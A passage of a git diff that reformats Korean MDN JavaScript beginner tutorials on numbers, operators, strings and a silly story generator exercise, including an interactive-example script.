-<input id="reset" type="button" value="Reset">
-<input id="solution" type="button" value="Show solution">
+  <input id="reset" type="button" value="Reset" />
+  <input id="solution" type="button" value="Show solution" />
 </div>
 ```
 
 ```css hidden
 html {
-font-family: sans-serif;
+  font-family: sans-serif;
 }
 
 h2 {
-font-size: 16px;
+  font-size: 16px;
 }
 
 .a11y-label {
-margin: 0;
-text-align: right;
-font-size: 0.7rem;
-width: 98%;
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
 }
 
 body {
-margin: 10px;
-background: #f5f9fa;
+  margin: 10px;
+  background: #f5f9fa;
 }
 ```
 
 ```js hidden
-var textarea = document.getElementById('code');
-var reset = document.getElementById('reset');
-var solution = document.getElementById('solution');
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var solution = document.getElementById("solution");
 var code = textarea.value;
 var userEntry = textarea.value;
 
 function updateCode() {
-eval(textarea.value);
+  eval(textarea.value);
 }
 
-reset.addEventListener('click', function() {
-textarea.value = code;
-userEntry = textarea.value;
-solutionEntry = jsSolution;
-solution.value = 'Show solution';
-updateCode();
+reset.addEventListener("click", function () {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = jsSolution;
+  solution.value = "Show solution";
+  updateCode();
 });
 
-solution.addEventListener('click', function() {
-if(solution.value === 'Show solution') {
-textarea.value = solutionEntry;
-solution.value = 'Hide solution';
-} else {
-textarea.value = userEntry;
-solution.value = 'Show solution';
-}
-updateCode();
+solution.addEventListener("click", function () {
+  if (solution.value === "Show solution") {
+    textarea.value = solutionEntry;
+    solution.value = "Hide solution";
+  } else {
+    textarea.value = userEntry;
+    solution.value = "Show solution";
+  }
+  updateCode();
 });
 
-var jsSolution = 'var list = document.querySelector(\'.output ul\');\nvar searchInput = document.querySelector(\'.output input\');\nvar searchBtn = document.querySelector(\'.output button\');\n\nlist.innerHTML = \'\';\n\nvar myHistory= [];\n\nsearchBtn.onclick = function() {\n if(searchInput.value !== \'\') {\n myHistory.unshift(searchInput.value);\n\n list.innerHTML = \'\';\n\n for(var i = 0; i < myHistory.length; i++) {\n itemText = myHistory[i];\n var listItem = document.createElement(\'li\');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n }\n\n if(myHistory.length >= 5) {\n myHistory.pop();\n }\n\n searchInput.value = \'\';\n searchInput.focus();\n }\n}';
+var jsSolution =
+  "var list = document.querySelector('.output ul');\nvar searchInput = document.querySelector('.output input');\nvar searchBtn = document.querySelector('.output button');\n\nlist.innerHTML = '';\n\nvar myHistory= [];\n\nsearchBtn.onclick = function() {\n if(searchInput.value !== '') {\n myHistory.unshift(searchInput.value);\n\n list.innerHTML = '';\n\n for(var i = 0; i < myHistory.length; i++) {\n itemText = myHistory[i];\n var listItem = document.createElement('li');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n }\n\n if(myHistory.length >= 5) {\n myHistory.pop();\n }\n\n searchInput.value = '';\n searchInput.focus();\n }\n}";
 var solutionEntry = jsSolution;
 
-textarea.addEventListener('input', updateCode);
-window.addEventListener('load', updateCode);
+textarea.addEventListener("input", updateCode);
+window.addEventListener("load", updateCode);
 
 // stop tab key tabbing out of textarea and
 // make it write a tab at the caret position instead
 
-textarea.onkeydown = function(e){
-if (e.keyCode === 9) {
-e.preventDefault();
-insertAtCaret('\t');
-}
+textarea.onkeydown = function (e) {
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret("\t");
+  }
 
-if (e.keyCode === 27) {
-textarea.blur();
-}
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
 };
 
 function insertAtCaret(text) {
-var scrollPos = textarea.scrollTop;
-var caretPos = textarea.selectionStart;
-
-var front = (textarea.value).substring(0, caretPos);
-var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
-textarea.value = front + text + back;
-caretPos = caretPos + text.length;
-textarea.selectionStart = caretPos;
-textarea.selectionEnd = caretPos;
-textarea.focus();
-textarea.scrollTop = scrollPos;
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = textarea.value.substring(0, caretPos);
+  var back = textarea.value.substring(
+    textarea.selectionEnd,
+    textarea.value.length,
+  );
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
 }
 
 // Update the saved userCode every time the user updates the text area code
 
-textarea.onkeyup = function(){
-// We only want to save the state when the user code is being shown,
-// not the solution, so that solution is not saved over the user code
-if(solution.value === 'Show solution') {
-userEntry = textarea.value;
-} else {
-solutionEntry = textarea.value;
-}
+textarea.onkeyup = function () {
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if (solution.value === "Show solution") {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
 
-updateCode();
+  updateCode();
 };
 ```
 
diff --git a/files/ko/learn/javascript/first_steps/math/index.md b/files/ko/learn/javascript/first_steps/math/index.md
index 3374eeff2e650f..23cb0928cf2407 100644
--- a/files/ko/learn/javascript/first_steps/math/index.md
+++ b/files/ko/learn/javascript/first_steps/math/index.md
@@ -33,8 +33,8 @@ slug: Learn/JavaScript/First_steps/Math
 프로그래밍에서는 우리가 잘 알고있는 십진법 체계도 생각보다 복잡합니다.
 
 - **정수**는 10, 400, 혹은 -5 같은 모든 숫자입니다.
-- **부동소수점 실수**(*float*)는 12.5, 6.7786543과 같이 소수점과 소수 자릿수가 있습니다.
-- **배정밀도 부동소수점 실수**(*double*)는 IEEE 754 표준 부동소수점보다 더 정확한 정밀도를 가지고 있는 특별한 데이터 타입입니다. (**Doubles**은 **Floats** 보다 더 많은 소수 자릿수를 표현할 수 있어서 소수점 표현에는 **Doubles**가 더 정확합니다).
+- **부동소수점 실수**(_float_)는 12.5, 6.7786543과 같이 소수점과 소수 자릿수가 있습니다.
+- **배정밀도 부동소수점 실수**(_double_)는 IEEE 754 표준 부동소수점보다 더 정확한 정밀도를 가지고 있는 특별한 데이터 타입입니다. (**Doubles**은 **Floats** 보다 더 많은 소수 자릿수를 표현할 수 있어서 소수점 표현에는 **Doubles**가 더 정확합니다).
 
 JavaScript는 심지어 다른 숫자 타입을 지원합니다. 10진수는 10을 기준으로 합니다. (숫자 0\~9을 쓴다는 뜻입니다.) 하지만 JavaScript는 아래와 같은 데이터 타입을 지원합니다.
 
@@ -54,22 +54,22 @@ JavaScript는 심지어 다른 숫자 타입을 지원합니다. 10진수는 10
 
 1. 먼저, 두 개의 변수를 선언합니다. 그리고 두 개의 변수를 정수와 실수로 초기화해줍니다. 각각 변수명을 콘솔 창에 입력해주세요. 그리고 어떤 값이 나오는지 확인해주세요.
 
-    ```js
-    var myInt = 5;
-    var myFloat = 6.667;
-    myInt;
-    myFloat;
-    ```
+   ```js
+   var myInt = 5;
+   var myFloat = 6.667;
+   myInt;
+   myFloat;
+   ```
 
 2. 숫자는 따옴표(" 또는 ')가 없습니다. 계속 하기 전에 여러 개의 변수를 선언하고 숫자를 초기화 해주세요.
 3. 우리들의 변수들의 데이터 타입을 확인합니다. JavaScript에서는 데이터 타입을 확인하기 위해 {{jsxref("Operators/typeof", "typeof")}} 라는 키워드를 사용합니다. 아래와 같이 입력해 주세요:
 
-    ```js
-    typeof myInt;
-    typeof myFloat;
-    ```
+   ```js
+   typeof myInt;
+   typeof myFloat;
+   ```
 
-    `"number"` 는 정수와 실수인 경우에 나옵니다. — 이것들은 정수와 실수가 다른 데이터 타입일 때 보다 다루기 쉽게 해줍니다. 그리고 다른 데이터 타입일 때 다른 방법으로 다뤄야만 합니다. 호우\~!
+   `"number"` 는 정수와 실수인 경우에 나옵니다. — 이것들은 정수와 실수가 다른 데이터 타입일 때 보다 다루기 쉽게 해줍니다. 그리고 다른 데이터 타입일 때 다른 방법으로 다뤄야만 합니다. 호우\~!
 
 ### 유용한 Number 메서드들
 
@@ -115,14 +115,14 @@ myNumber = Number(myNumber) + 3;
 
 산술연산자들의 기본적인 용도는 덧셈을 할 때 입니다.
 
-| 연산자 | 이름 | 목적 | 예시 |
-| --- | --- | --- | --- |
-| `+` | 더하기 | 두 개의 숫자를 더합니다. | `6 + 9` |
-| `-` | 빼기 | 왼쪽에 있는 수를 오른쪽 수로 뺍니다. | `20 - 15` |
-| `*` | 곱하기 | 두 개의 숫자를 곱합니다. | `3 * 7` |
-| `/` | 나누기 | 왼쪽의 숫자를 오른쪽 숫자로 나눠서 몫을 구합니다. | `10 / 5` |
-| `%` | 나머지 (또는 모듈로) | 왼쪽의 숫자를 오른쪽 숫자로 나눠서 나머지를 구합니다. | `8 % 3` ( 2를 반환합니다, 8을 3으로 나눴을 때 몫이 2이기 때문입니다.) |
-| `**` | 지수 | 왼쪽의 숫자를 오른쪽 숫자만큼 제곱합니다. | `5 ** 2` ( 5의 제곱이기 때문에 25를 반환합니다.) |
+| 연산자 | 이름                 | 목적                                                  | 예시                                                                  |
+| ------ | -------------------- | ----------------------------------------------------- | --------------------------------------------------------------------- |
+| `+`    | 더하기               | 두 개의 숫자를 더합니다.                              | `6 + 9`                                                               |
+| `-`    | 빼기                 | 왼쪽에 있는 수를 오른쪽 수로 뺍니다.                  | `20 - 15`                                                             |
+| `*`    | 곱하기               | 두 개의 숫자를 곱합니다.                              | `3 * 7`                                                               |
+| `/`    | 나누기               | 왼쪽의 숫자를 오른쪽 숫자로 나눠서 몫을 구합니다.     | `10 / 5`                                                              |
+| `%`    | 나머지 (또는 모듈로) | 왼쪽의 숫자를 오른쪽 숫자로 나눠서 나머지를 구합니다. | `8 % 3` ( 2를 반환합니다, 8을 3으로 나눴을 때 몫이 2이기 때문입니다.) |
+| `**`   | 지수                 | 왼쪽의 숫자를 오른쪽 숫자만큼 제곱합니다.             | `5 ** 2` ( 5의 제곱이기 때문에 25를 반환합니다.)                      |
 
 > **참고:** 연산에 관계된 수를 {{Glossary("Operand", "피연산자")}}라고 부릅니다.
 
@@ -132,28 +132,28 @@ myNumber = Number(myNumber) + 3;
 
 1. 아래의 명령어를 콘솔창에 입력해주세요.
 
-    ```js
-    10 + 7
-    9 * 8
-    60 % 3
-    ```
+   ```js
+   10 + 7;
+   9 * 8;
+   60 % 3;
+   ```
 
 2. 또한 변수 내부의 값을 선언하거나 초기화 할 수 있으며, 이를 계산에 이용할 수도 있습니다. 즉, 변수는 계산을 위해 가지고 있는 값과 정확히 동일하게 작동합니다. 예를 들어
 
-    ```js
-    const num1 = 10;
-    const num2 = 50;
-    9 * num1;
-    num2 / num1;
-    ```
+   ```js
+   const num1 = 10;
+   const num2 = 50;
+   9 * num1;
+   num2 / num1;
+   ```
 
 3. 마지막으로 다음과 같은 복잡한 식을 입력해보세요.
 
-    ```js
-    5 + 10 * 3;
-    num2 % 9 * num1;
-    num2 + num1 / 8 + 2;
-    ```
+   ```js
+   5 + 10 * 3;
+   (num2 % 9) * num1;
+   num2 + num1 / 8 + 2;
+   ```
 
 몇몇 계산은 예상과 꽤 다르게 나옵니다. 아래의 문단에서 왜 그런지 이유를 알아보죠.
 
@@ -223,17 +223,17 @@ num2;
 ```js
 var x = 3; // x의 값은 3입니다.
 var y = 4; // y의 값은 4입니다.
-x = y;     // 이제 x의 값은 y와 같은 4입니다.
+x = y; // 이제 x의 값은 y와 같은 4입니다.
 ```
 
 추가로 코드를 더 깔끔하고 효율적으로 쓸 수 있게 해주는 짧은 형태의 연산자들이 있습니다. 대표적인건 다음과 같습니다.
 
-| 연산자 | 이름 | 목적 | 예시 | 의미 |
-| --- | --- | --- | --- | --- |
-| `+=` | 더하기 대입 | 오른쪽의 값을 왼쪽 변수 값에 더하고 새 변수 값을 반환합니다. | `x += 4;` | `x = x + 4;` |
-| `-=` | 빼기 대입 | 오른쪽의 값을 왼쪽 변수 값에서 빼고 새 변수 값을 반환합니다. | `x -= 3;` | `x = x - 3;` |
-| `*=` | 곱하기 대입 | 오른쪽의 값을 왼쪽 변수 값에 곱하고 새 변수 값을 반환합니다. | `x *= 3;` | `x = x * 3;` |
-| `/=` | 나누기 대입 | 오른쪽의 값을 왼쪽 변수 값에 나누고 새 변수 값을 반환합니다. | `x /= 5;` | `x = x / 5;` |
+| 연산자 | 이름        | 목적                                                         | 예시      | 의미         |
+| ------ | ----------- | ------------------------------------------------------------ | --------- | ------------ |
+| `+=`   | 더하기 대입 | 오른쪽의 값을 왼쪽 변수 값에 더하고 새 변수 값을 반환합니다. | `x += 4;` | `x = x + 4;` |
+| `-=`   | 빼기 대입   | 오른쪽의 값을 왼쪽 변수 값에서 빼고 새 변수 값을 반환합니다. | `x -= 3;` | `x = x - 3;` |
+| `*=`   | 곱하기 대입 | 오른쪽의 값을 왼쪽 변수 값에 곱하고 새 변수 값을 반환합니다. | `x *= 3;` | `x = x * 3;` |
+| `/=`   | 나누기 대입 | 오른쪽의 값을 왼쪽 변수 값에 나누고 새 변수 값을 반환합니다. | `x /= 5;` | `x = x / 5;` |
 
 위의 예제들을 콘솔에 입력해 보면서 어떻게 작동하는지 알아보세요. 그리고 두 번째 줄을 입력하기 전에 어떤 값이 나올지 예측해 보세요.
 
@@ -242,7 +242,7 @@ x = y;     // 이제 x의 값은 y와 같은 4입니다.
 ```js
 var x = 3; // x는 3입니다.
 var y = 4; // y는 4입니다.
-x *= y;    // 이제 x의 값은 12입니다.
+x *= y; // 이제 x의 값은 12입니다.
 ```
 
 > **참고:** 더 많은 [연산자](/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators#할당_연산자)가 있지만, 지금은 이것만 시용해도 충분합니다.
@@ -270,14 +270,14 @@ Reset 버튼을 눌러서 되돌릴 수 있기 때문에 코드가 동작하지
 
 가끔은 참/거짓 테스트를 실행한 결과에 따라 다르게 처리하고 싶을 때가 있습니다. 이럴 땐 **비교 연산자**를 사용합니다.
 
-| 연산자 | 이름 | 목적 | 예시 |
-| --- | --- | --- | --- |
-| `===`| 일치 연산자 | 왼쪽과 오른쪽의 값이 완전히 동일한지 테스트합니다. | `5 === 2 + 4` |
-| `!==` | 불일치 연산자 | 왼쪽과 오른쪽 값이 서로 동일하지 않은지 테스트합니다. | `5 !== 2 + 3` |
-| `<` | ~보다 작음| 왼쪽 값이 오른쪽 값보다 작은지 테스트합니다.| `10 < 6`|
-| `>` | ~보다 큼| 왼쪽 값이 오른쪽 값보다 큰지 테스트합니다.| `10 > 20`|
-| `<=` | ~보다 작거나 같음 | 왼쪽 값이 오른쪽 값보다 작거나 같은지 여부를 테스트합니다.| `3 <= 2` |
-| `>=` | ~보다 크거나 같음| 왼쪽 값이 오른쪽 값보다 크거나 같은지 여부를 테스트합니다. | `5 >= 4` |
+| 연산자 | 이름              | 목적                                                       | 예시          |
+| ------ | ----------------- | ---------------------------------------------------------- | ------------- |
+| `===`  | 일치 연산자       | 왼쪽과 오른쪽의 값이 완전히 동일한지 테스트합니다.         | `5 === 2 + 4` |
+| `!==`  | 불일치 연산자     | 왼쪽과 오른쪽 값이 서로 동일하지 않은지 테스트합니다.      | `5 !== 2 + 3` |
+| `<`    | ~보다 작음        | 왼쪽 값이 오른쪽 값보다 작은지 테스트합니다.               | `10 < 6`      |
+| `>`    | ~보다 큼          | 왼쪽 값이 오른쪽 값보다 큰지 테스트합니다.                 | `10 > 20`     |
+| `<=`   | ~보다 작거나 같음 | 왼쪽 값이 오른쪽 값보다 작거나 같은지 여부를 테스트합니다. | `3 <= 2`      |
+| `>=`   | ~보다 크거나 같음 | 왼쪽 값이 오른쪽 값보다 크거나 같은지 여부를 테스트합니다. | `5 >= 4`      |
 
 > **참고:** 일부 사람들은 `==`와 `!=`를 동등성과 불일치성을 테스트하는 데 사용합니다. 이 연산자들은 JavaScript에서 유효한 연산자이지만, `===`/`!==`와는 다릅니다. 전자는 값이 동일한지는 테스트하지만, 값의 데이터 유형이 동일한지의 여부는 테스트하지 않습니다. 후자의 경우 엄격한 버전은 값과 값의 데이터 유형의 동일성을 모두 테스트합니다. 엄격한 버전이 오류가 적은 편이기 때문에, 이를 사용하는 것을 권장합니다.
 
@@ -296,18 +296,18 @@ Reset 버튼을 눌러서 되돌릴 수 있기 때문에 코드가 동작하지
 ```
 
 ```js
-var btn = document.querySelector('button');
-var txt = document.querySelector('p');
+var btn = document.querySelector("button");
+var txt = document.querySelector("p");
 
-btn.addEventListener('click', updateBtn);
+btn.addEventListener("click", updateBtn);
 
 function updateBtn() {
-  if (btn.textContent === 'Start machine') {
-    btn.textContent = 'Stop machine';
-    txt.textContent = 'The machine has started!';
+  if (btn.textContent === "Start machine") {
+    btn.textContent = "Stop machine";
+    txt.textContent = "The machine has started!";
   } else {
-    btn.textContent = 'Start machine';
-    txt.textContent = 'The machine is stopped.';
+    btn.textContent = "Start machine";
+    txt.textContent = "The machine is stopped.";
   }
 }
 ```
diff --git a/files/ko/learn/javascript/first_steps/silly_story_generator/index.md b/files/ko/learn/javascript/first_steps/silly_story_generator/index.md
index 20cac487a3d068..16824b5c3e1c88 100644
--- a/files/ko/learn/javascript/first_steps/silly_story_generator/index.md
+++ b/files/ko/learn/javascript/first_steps/silly_story_generator/index.md
@@ -66,18 +66,18 @@ slug: Learn/JavaScript/First_steps/Silly_story_generator
 1. 가공 전의 텍스트 파일에서, "1. COMPLETE VARIABLE AND FUNCTION DEFINITIONS" 바로 밑의 코드를 모두 복사해서 `main.js` 파일의 맨 위에 붙여넣습니다. 이 내용은 세 개의 변수 제공하는데, `customName` 변수는 "Enter custom name" 텍스트 필드 값을 저장하고, `randomize` 변수에는 "Generate random story" 버튼 오브젝트를 저장하고, HTML 바디에 끝에 있는 클래스가 `story`인 [\<p>](/ko/docs/Web/HTML/Element/p) 엘리먼트는 story 변수에 저장하며 해당 엘리먼트에는 랜덤한 이야기가 복사됩니다. 또한, randomValueFromArray() 함수는 배열을 가져와서 배열이 가진 항목 중 하나를 랜덤하게 반환합니다.
 2. 가공전 텍스트 파일의 두번째 섹션 "2. RAW TEXT STRINGS"에는 프로그램에 자동으로 입력되어 랜덤 이야기 엘리먼트에 출력하는 문자열이 포함되어 있습니다. `main.js` 에 아래 설명대로 변수를 만듭니다:
 
-    1. 먼저 `storyText`변수에 가장 긴 문자열("It was 94 fahrenheit outside, so \~\~" 로 시작하는 문장)을 저장합니다.
-    2. `insertX` 배열에 세 개의 문자열 집단의 첫번째(Willy the Goblin, Big Daddy, Father Christmas)를 저장합니다.
-    3. `insertY` 배열에 세 개의 문자열 집단의 두번째(the soup kitchen, Disneyland, the White House)을 저장합니다.
-    4. `insertZ` 배열에 세 개의 문자열 집단의 세번째(spontaneously combusted, melted into a puddle on the sidewalk, turned into a slug and crawled away)를 저장합니다.
+   1. 먼저 `storyText`변수에 가장 긴 문자열("It was 94 fahrenheit outside, so \~\~" 로 시작하는 문장)을 저장합니다.
+   2. `insertX` 배열에 세 개의 문자열 집단의 첫번째(Willy the Goblin, Big Daddy, Father Christmas)를 저장합니다.
+   3. `insertY` 배열에 세 개의 문자열 집단의 두번째(the soup kitchen, Disneyland, the White House)을 저장합니다.
+   4. `insertZ` 배열에 세 개의 문자열 집단의 세번째(spontaneously combusted, melted into a puddle on the sidewalk, turned into a slug and crawled away)를 저장합니다.
 
 이벤트 핸들러와 완성되지 않은 함수 정리:
 
 1. 가공전 텍스트 파일("raw text file")로 돌아가자.
 2. "3. EVENT LISTENER AND PARTIAL FUNCTION DEFINITION" 밑의 코드를 복사하고, `main.js` 파일의 맨 밑에다 붙여 넣으세요:
 
-    - `randomize` 변수에 클릭 이벤트 리스너를 추가하세요. 그러면 버튼이 클릭되었을 때, `result()` 함수가 실행됩니다.
-    - 코드에 부분적으로 완료된 `result()` 함수를 추가하세요. 이 평가의 뒤 부분에서 함수가 완성되고 정상적으로 동작하도록 내용을 추가할 것입니다.
+   - `randomize` 변수에 클릭 이벤트 리스너를 추가하세요. 그러면 버튼이 클릭되었을 때, `result()` 함수가 실행됩니다.
+   - 코드에 부분적으로 완료된 `result()` 함수를 추가하세요. 이 평가의 뒤 부분에서 함수가 완성되고 정상적으로 동작하도록 내용을 추가할 것입니다.
 
 `result()` 함수 완성하기:
 
@@ -87,10 +87,10 @@ slug: Learn/JavaScript/First_steps/Silly_story_generator
 4. 첫번째 `if` 블록에서, `newStory` 의 'Bob'이라는 이름을 `name` 변수를 사용하여 변환하는 함수를 추가하세요. 이 블록에서 말하는 내용은 "만약 `customName` 텍스트 입력에 값이 들어가 있다면, 이야기속의 Bob을 사용자가 정의한 이름으로 바꾸세요" 라는 의미입니다.
 5. 두번째 `if` 블록에서는 `uk` 라디오 버튼이 선택되었는지 확인합시다. `uk` 라디오 버튼이 눌려졌다면, 이야기('story') 상의 무게('weight')와 온도('temperature') 값 들인 파운드('pounds')와 화씨온도(Fahrenheit) 를 'stones'과 섭씨온도('centigrade')를 바꾸어야 합니다. 필요한 것은 아래와 같습니다:
 
-    1. 파운드(pound)를 stone, 화씨온도(Fahrenheit) 를 섭씨온도(centigrade)로 변환하는 공식을 참조하라.
-    2. `weight` 변수를 정의하는 라인에서는, 300를 300 파운드를 stones 변환하라. 변환 결과값을 `Math.round()` 를 실행한 결과값 끝에 `' stone'` 을 결합한다(문자열 더하기 연산 또는 concat())
-    3. `temperature` 변수를 정의하는 라인에서는, 94를 화씨(Fahrenheit) 94도를 섭씨온도(centigrade)로 변환하라. 변환 결과값을 `Math.round()` 를 실행한 결과값 끝에 `' centigrade'`을 결합한다(문자열 더하기 연산 또는 concat())
-    4. 두 변수 정의 바로 밑에, '94 화씨온도('farenheit')로 `temperature` 변수의 내용을 변환하는 것과, '300 pounds'을 `weight` 변수의 내용을 바꾸는 두줄의 문자열 변환라인을 추가한다 .
+   1. 파운드(pound)를 stone, 화씨온도(Fahrenheit) 를 섭씨온도(centigrade)로 변환하는 공식을 참조하라.
+   2. `weight` 변수를 정의하는 라인에서는, 300를 300 파운드를 stones 변환하라. 변환 결과값을 `Math.round()` 를 실행한 결과값 끝에 `' stone'` 을 결합한다(문자열 더하기 연산 또는 concat())
+   3. `temperature` 변수를 정의하는 라인에서는, 94를 화씨(Fahrenheit) 94도를 섭씨온도(centigrade)로 변환하라. 변환 결과값을 `Math.round()` 를 실행한 결과값 끝에 `' centigrade'`을 결합한다(문자열 더하기 연산 또는 concat())
+   4. 두 변수 정의 바로 밑에, '94 화씨온도('farenheit')로 `temperature` 변수의 내용을 변환하는 것과, '300 pounds'을 `weight` 변수의 내용을 바꾸는 두줄의 문자열 변환라인을 추가한다 .
 
 6. 마지막으로, 함수의 끝 두 줄에 `story` 변수의 `textContent` 속성(property)을 `newStory`와 같게 만드세요.
 
@@ -100,7 +100,7 @@ slug: Learn/JavaScript/First_steps/Silly_story_generator
 - 만약 JavaScript가 정상적으로 HTML에 적용되었는지 의심스럽다면, 일시적으로 JavaScript의 내용을 지우고, 단순하고 짧은 효과가 명확한 내용을 추가해서, 저장하고 새로고침을 해보세요. 아래 예제는 {{htmlelement("html")}} 의 배경을 빨강색으로 바꿉니다 — 정상적으로 JavaScript가 적용되었다면 브라우저 전체 윈도우가 빨강색으로 바뀌게 될겁니다:
 
   ```js
-  document.querySelector('html').style.backgroundColor = 'red';
+  document.querySelector("html").style.backgroundColor = "red";
   ```
 
 - [Math.round()](/ko/docs/Web/JavaScript/Reference/Global_Objects/Math/round) 는 가장 가까운 정수로 단순하게 반올림한 결과를 반환하는 JavaScript 내장함수 입니다.
@@ -113,10 +113,10 @@ slug: Learn/JavaScript/First_steps/Silly_story_generator
 1. 온라인 공유가 가능한 [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/), 또는 [Glitch](https://glitch.com/) 같은 에디터에 작업한 것을 올려 두세요.
 2. 평가 또는 도움을 요청을 [MDN Discourse forum Learning category](https://discourse.mozilla.org/c/mdn/learn) 에 포스트를 쓰세요. 당신의 글은 아래를 포함해야 합니다:
 
-    - "Assessment wanted for Silly story generator"와 같은 서술적인 제목.
-    - 이미 시도해본 것에 대한 상세내용과 우리가 어떻게 하길 원하는 지.
-      예. 만약 당신이 풀이가 막히고 도움이 필요하다거나, 평가를 원한다는 것을.
-    - 평가를 받고 싶거나 도움이 필요한 예제를 갖고 있는 공유가능한 온라인 에디터 링크. (위에 1단계에서 언급한 것). 이것은 좋은 습관입니다. 그들의 코드를 보지못한다면 도움을 주기는 굉장히 어렵습니다.
-    - 실제 작업 또는 평가 페이지 링크, 그래야 우리가 당신이 도움받길 원하는 것을 찾을 수 있어요.
+   - "Assessment wanted for Silly story generator"와 같은 서술적인 제목.
+   - 이미 시도해본 것에 대한 상세내용과 우리가 어떻게 하길 원하는 지.
+     예. 만약 당신이 풀이가 막히고 도움이 필요하다거나, 평가를 원한다는 것을.
+   - 평가를 받고 싶거나 도움이 필요한 예제를 갖고 있는 공유가능한 온라인 에디터 링크. (위에 1단계에서 언급한 것). 이것은 좋은 습관입니다. 그들의 코드를 보지못한다면 도움을 주기는 굉장히 어렵습니다.
+   - 실제 작업 또는 평가 페이지 링크, 그래야 우리가 당신이 도움받길 원하는 것을 찾을 수 있어요.
 
 {{PreviousMenu("Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}
diff --git a/files/ko/learn/javascript/first_steps/strings/index.md b/files/ko/learn/javascript/first_steps/strings/index.md
index 180a2c688fd3cd..dce1cc38e00835 100644
--- a/files/ko/learn/javascript/first_steps/strings/index.md
+++ b/files/ko/learn/javascript/first_steps/strings/index.md
@@ -37,71 +37,71 @@ slug: Learn/JavaScript/First_steps/Strings
 
 1. 먼저 아래의 명령어를 입력하세요.
 
-    ```js
-    var string = 'The revolution will not be televised.';
-    string;
-    ```
+   ```js
+   var string = "The revolution will not be televised.";
+   string;
+   ```
 
-    숫자에서 했던 것과 같게, 우리는 변수를 선언하고, 문자열을 초기화 하고, 값을 반환합니다. 차이점은 오직 숫자 대신 문자열을 넣었고, 문자열 값을 따옴표로 감싸주었습니다.
+   숫자에서 했던 것과 같게, 우리는 변수를 선언하고, 문자열을 초기화 하고, 값을 반환합니다. 차이점은 오직 숫자 대신 문자열을 넣었고, 문자열 값을 따옴표로 감싸주었습니다.
 
 2. 따옴표를 빼거나 잘못쓰면 에러가 뜰 것입니다. 아래의 코드를 입력해 보세요.
 
-    ```js example-bad
-    var badString = This is a test;
-    var badString = 'This is a test;
-    var badString = This is a test';
-    ```
+   ```js example-bad
+   var badString = This is a test;
+   var badString = 'This is a test;
+   var badString = This is a test';
+   ```
 
-    따옴표로 감싸져 있지 않은 텍스트는 변수 이름, 속성 이름, 예약어와 유사하다고 가정하기 때문에 이러한 코드는 작동하지 않습니다. 만약 브라우저가 찾을 수 없다면 에러가 발생할 것입니다. (e.g. "missing ; before statement"). 만약 브라우저가 문자열이 시작하는 곳은 볼 수 있지만, 끝나는 곳을 찾지 못하면 에러를 던집니다.("unterminated string literal"). 만약 당신의 프로그램이 에러를 계속 만들어낸다면, 다시 돌아가 당신의 문자열에 빠진 따옴표가 없는지 찾아보십시오.
+   따옴표로 감싸져 있지 않은 텍스트는 변수 이름, 속성 이름, 예약어와 유사하다고 가정하기 때문에 이러한 코드는 작동하지 않습니다. 만약 브라우저가 찾을 수 없다면 에러가 발생할 것입니다. (e.g. "missing ; before statement"). 만약 브라우저가 문자열이 시작하는 곳은 볼 수 있지만, 끝나는 곳을 찾지 못하면 에러를 던집니다.("unterminated string literal"). 만약 당신의 프로그램이 에러를 계속 만들어낸다면, 다시 돌아가 당신의 문자열에 빠진 따옴표가 없는지 찾아보십시오.
 
 3. 다음의 코드는 당신이 변수 `string` 을 선언했다면 작동할 것입니다. 아래의 코드를 입력해보세요 :
 
-    ```js
-    var badString = string;
-    badString;
-    ```
+   ```js
+   var badString = string;
+   badString;
+   ```
 
-    `badString` 은 이제 `string` 과 같은 값으로 설정되었습니다.
+   `badString` 은 이제 `string` 과 같은 값으로 설정되었습니다.
 
 ### 따옴표 vs 쌍따옴표
 
 1. 자바스크립트에서는 따옴표와 쌍따옴표가 모두 허용됩니다. 다음의 코드는 문제 없이 작동할 것입니다.
 
-    ```js
-    var sgl = 'Single quotes.';
-    var dbl = "Double quotes";
-    sgl;
-    dbl;
-    ```
+   ```js
+   var sgl = "Single quotes.";
+   var dbl = "Double quotes";
+   sgl;
+   dbl;
+   ```
 
 2. 따옴표와 쌍따옴표는 차이점이 거의 없어, 편한대로 사용할 수 있습니다. 하지만 당신은 문자열을 감싸는데 한 종류의 따옴표만 사용해야 되며 그렇지 않으면 에러가 발생합니다. 아래의 코드를 실행해 보세요.
 
-    ```js example-bad
-    var badQuotes = 'What on earth?";
-    ```
+   ```js example-bad
+   var badQuotes = 'What on earth?";
+   ```
 
 3. 브라우저는 다른종류의 따옴표가 감싸고 있어 문자열이 아직 끝나지 않았다고 생각합니다. 예를 들어, 아래 두 가지 모두 괜찮습니다.
 
-    ```js
-    var sglDbl = 'Would you eat a "fish supper"?';
-    var dblSgl = "I'm feeling blue.";
-    sglDbl;
-    dblSgl;
-    ```
+   ```js
+   var sglDbl = 'Would you eat a "fish supper"?';
+   var dblSgl = "I'm feeling blue.";
+   sglDbl;
+   dblSgl;
+   ```
 
 4. 하지만, 당신은 같은 종류의 따옴표를 문자열에 포함시킬 수 없습니다. 브라우저는 어느 따옴표가 문자열이 끝났다는 것을 알리는지 혼돈하게 됩니다. 따라서 다음의 코드는 에러가 발생합니다.
 
-    ```js example-bad
-    var bigmouth = 'I've got no right to take my place...';
-    ```
+   ```js example-bad
+   var bigmouth = 'I've got no right to take my place...';
+   ```
 
-    이는 우리를 다음 문단으로 이끌어 줍니다.
+   이는 우리를 다음 문단으로 이끌어 줍니다.
 
 ### 문자열 이스케이프 문자
 
